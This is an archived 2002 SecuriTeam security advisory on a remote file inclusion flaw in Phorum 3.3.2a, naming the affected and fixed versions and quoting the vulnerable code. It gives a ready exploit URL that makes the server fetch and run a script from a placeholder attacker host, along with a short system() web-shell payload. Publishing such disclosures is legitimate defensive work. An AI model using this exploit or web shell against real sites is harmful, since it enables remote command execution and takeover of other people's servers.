[UNIX] Phorum Remote Command Execution Vulnerability (PHORUM[settings_dir])

From: support@securiteam.com
Date: 05/18/02


From: support@securiteam.com
To: list@securiteam.com
Date: Sat, 18 May 2002 23:03:43 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -

  Phorum Remote Command Execution Vulnerability (PHORUM[settings_dir])
------------------------------------------------------------------------

SUMMARY

 <http://www.phorum.org/> Phorum is an OpenSource web based discussion
software application written in PHP. A security flaw in the product lets
remote users include external php scripts and execute arbitrary code and
commands.

DETAILS

Vulnerable systems:
 * Phorum version 3.3.2a and prior

Immune systems:
 * Phorum version 3.3.2b3

The following file is vulnerable for remote script inclusion:
/plugin/replace/plugin.php

(Note that it seems that the admin.php file is also vulnerable to the same
vulnerability)

Let's see some code:
<?php
include("$PHORUM[settings_dir]/replace.php");

function mod_replace_read_body ($body) {
  global $pluginreplace;
  reset($pluginreplace);
  while(list($key,$val) = each($pluginreplace)) {
    $body = str_replace($key,$val,$body);
  }
  return $body;
}

$plugins["read_body"]["mod_replace"]="mod_replace_read_body";

?>

Exploit:
This is easy to exploit:
http://[target]/phorum/plugin/replace/plugin.php?PHORUM[settings_dir]=http://[evilhost]&cmd=ls

This one will get the file http://[evilhost]/replace.php and execute it.
If [evilhost] has php enabled we could use this one as replace.php:
<?
echo("<?
system(\"\$cmd\");
?>");
?>

If it's not php-enabled simply:
<?
system("$cmd");
?>

ADDITIONAL INFORMATION

The information has been provided by <mailto:markus-arndt@web.de> Markus
Arnd.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages

  • Re: Php query string security
    ... > Yes I have read an awful lot now about php security and different ... the vulnerability occurs in a quite complicated setup. ... people who write unnessesarily complicated code, who overdesign software, ... are usually not security conscious. ...
    (comp.lang.php)
  • TSLSA-2005-0059 - multi
    ... Affected versions: Trustix Secure Linux 2.2 ... PHP is an HTML-embedded scripting language. ... use of Rest with FTP servers and Range with HTTP servers to retrieve files ... - New Upstream and Multiple Vendor Security Fixes ...
    (Bugtraq)
  • [UNIX] Arbitrary Code Execution Vulnerability in Mantis
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Mantis is an Open Source web-based bug ... tracking system, written in PHP, which uses the MySQL database server. ... A security vulnerability in the ...
    (Securiteam)
  • PHP Security!!! www.armorize.com
    ... Our product uses the most advanced static source code analysis for identifying vulnerabilities in PHP code. ... Our language parser and transformer creates an abstract model of the code through which it runs a series of program path, inter-procedural and data flow analyses after which it can tell you not only what line of code the vulnerability lies, but also highlights the tainted variable that introduced the bug and how it propagates throught the code to become a vulnerability. ... This provides an end to end illustration of the vulnerability, educates you regarding the dymanics of security problems in PHP and actually provides suggetions of how you should go abuout fixing the code. ... Purchase for one month and fix your entire code base, when you need to modify your application again, it will only cost you that month's subscription. ...
    (php.general)
  • Re: [PHP] Out source files
    ... >> server, and use URL fopen to read them, if you like. ... In several PHP security recommendation we can read "Do not let PHP ... a vulnerability of the application doesn't expose all the data to the ...
    (php.general)